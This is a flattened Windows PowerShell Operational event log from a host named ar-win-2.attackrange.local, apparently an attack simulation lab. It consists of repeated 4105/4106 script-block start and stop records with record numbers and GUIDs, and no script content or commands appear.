410615103150x0668852Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668851Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668850Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668849Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668848Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668847Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668846Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668845Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668844Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668843Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668842Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668841Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668840Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668839Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668838Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668837Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668836Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668835Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668834Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668833Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668832Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668831Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668830Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668829Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668828Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668827Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668826Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668825Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668824Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668823Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668822Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668821Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668820Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668819Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668818Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668817Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668816Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668815Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668814Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668813Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668812Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668811Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668810Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668809Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668808Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668807Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668806Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668805Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668804Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668803Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668802Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668801Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668800Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668799Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668798Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668797Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668796Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668795Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668794Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668793Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668792Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668791Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668790Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668789Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668788Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668787Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668786Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668785Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668784Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668783Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668782Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668781Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668780Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668779Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668778Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668777Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668776Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668775Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668774Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668773Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668772Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668771Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668770Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668769Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668768Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668767Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668766Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668765Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668764Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668763Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668762Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668761Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668760Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668759Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668758Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668757Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668756Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668755Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668754Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668753Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668752Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668751Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668750Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668749Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668748Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668747Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668746Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668745Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668744Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668743Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668742Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668741Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668740Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668739Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668738Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668737Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668736Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668735Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668734Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668733Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668732Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668731Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668730Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668729Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668728Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668727Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668726Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668725Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668724Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668723Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668722Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668721Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668720Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668719Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668718Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668717Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668716Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668715Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668714Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668713Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668712Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668711Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668710Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668709Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668708Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668707Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668706Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668705Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668704Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668703Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668702Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668701Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668700Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668699Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668698Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668697Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668696Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668695Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668694Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668693Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668692Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668691Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668690Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 